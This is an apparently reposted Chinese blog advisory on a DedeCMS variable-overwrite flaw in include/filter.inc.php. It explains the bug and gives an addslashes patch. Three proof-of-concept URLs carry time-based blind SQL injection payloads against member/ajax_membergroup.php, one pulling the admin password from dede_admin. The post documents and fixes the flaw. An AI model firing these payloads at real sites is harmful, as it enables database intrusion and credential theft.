zoukankan      html  css  js  c++  java
  • 织梦Dedecms系统可疑文件include/filter.inc.php扫描出漏洞,该如何解决?

    今天在做网站监察的时候,发现网站出了一个问题,在对网站做木马监测的时候,扫描出一个可疑文件:/include/filter.inc.php,建议删除,但仔细检查后,发现此文件是织梦(Dedecms)系统自带的问题,那么,我们该如何解决呢?
     
     
    漏洞描述:dedecms的filter.inc.php这个文件在系统配置文件之后,里面有foreach循环创建变量,可以覆盖系统变量从而导致注入漏洞。
    漏洞路径:/include/filter.inc.php
    漏洞分析:
     
    /include/filter.inc.php文件中:
     
    function _FilterAll($fk, &$svar)
    {
        global $cfg_notallowstr,$cfg_replacestr;
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v)
            {
                $svar[$_k] = _FilterAll($fk,$_v);
            }
        }
        else
        {
            if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
            {
                ShowMsg(" $fk has not allow words!",'-1');
                exit();
            }
            if($cfg_replacestr!='')
            {
                $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
            }
        }
        
        return $svar; //未对外部提交的数据进行有效转义,直接return返回造成本地变量注入
    }
     
    /* 对_GET,_POST,_COOKIE进行过滤 */
    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v)
        {
            ${$_k} = _FilterAll($_k,$_v);
        }
    }
    1. 在magic_quotes_gpc=off的时候可以绕过_RunMagicQuotes的过滤 
    xxx.php?site=skyhome’s blog
    2. 经过common.inc.php
    $skyhome = skyhome’s blog
    3. 经过filter.inc.php
    $skyhome = skyhomen’s blog  //重新获得闭合攻击性
    漏洞触发条件:
    1. 程序不允许创建cfg_开头的变量,依靠这样来防御系统变量未初始化漏洞。
    2. common.inc.php文件的漏洞我们创建了系统变量就可以触发此类漏洞,但是有的系统变量已经初始化了,而且是在common.inc.php文件foreach循环注册变量之后,就是说我们能创建,但是不能覆盖。
    3. 但是filter.inc.php这个文件又进行了一次foreach循环也就是二次创建。所以如果包含了filter.inc.php文件我们就可以覆盖系统变量。
    4. 在/member目录的大部分文件都包含这么一个文件/member/config.php,这个文件的前两句就是:
    require_once(dirname(__FILE__).’/../include/common.inc.php’);
    require_once(DEDEINC.’/filter.inc.php’);
    也就是说member目录的大部分文件都受此漏洞影响,可以覆盖掉系统变量 。
    0x1: POC1
    http://www.mahaixiang.cn/dedecms5.5/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @`'`
    0x2: POC2
    http://www.mahaixiang.cn/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select 1),1,1)='1',sleep(5),0)) -- - @`'`
    0x3: POC3
    http://www.mahaixiang.cn/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select user()),1,1)='r',sleep(5),0)) -- - @`'`
    漏洞解决:
    /include/filter.inc.php
     
    $magic_quotes_gpc = ini_get('magic_quotes_gpc');
    function _FilterAll($fk, &$svar)
    {
        global $cfg_notallowstr,$cfg_replacestr;
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v)
            {
                $svar[$_k] = _FilterAll($fk,$_v);
            }
        }
        else
        {
            if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
            {
                ShowMsg(" $fk has not allow words!",'-1');
                exit();
            }
            if($cfg_replacestr!='')
            {
                $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
            }
        }
        if (!$magic_quotes_gpc) {
            $svar = addslashes($svar);
        }
        return $svar;
    }
     
    /* 对_GET,_POST,_COOKIE进行过滤 */
    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v)
        {
            ${$_k} = _FilterAll($_k,$_v);
        }
    }
    好了,到这就先结束了!
     
    来源:http://www.moke8.com/article-16612-1.html
  • 相关阅读:
    Code Forces 650 C Table Compression(并查集)
    Code Forces 645B Mischievous Mess Makers
    POJ 3735 Training little cats(矩阵快速幂)
    POJ 3233 Matrix Power Series(矩阵快速幂)
    PAT 1026 Table Tennis (30)
    ZOJ 3609 Modular Inverse
    Java实现 LeetCode 746 使用最小花费爬楼梯(递推)
    Java实现 LeetCode 745 前缀和后缀搜索(使用Hash代替字典树)
    Java实现 LeetCode 745 前缀和后缀搜索(使用Hash代替字典树)
    Java实现 LeetCode 745 前缀和后缀搜索(使用Hash代替字典树)
  • 原文地址:https://www.cnblogs.com/xiaomifeng/p/8991470.html
Copyright © 2011-2022 走看看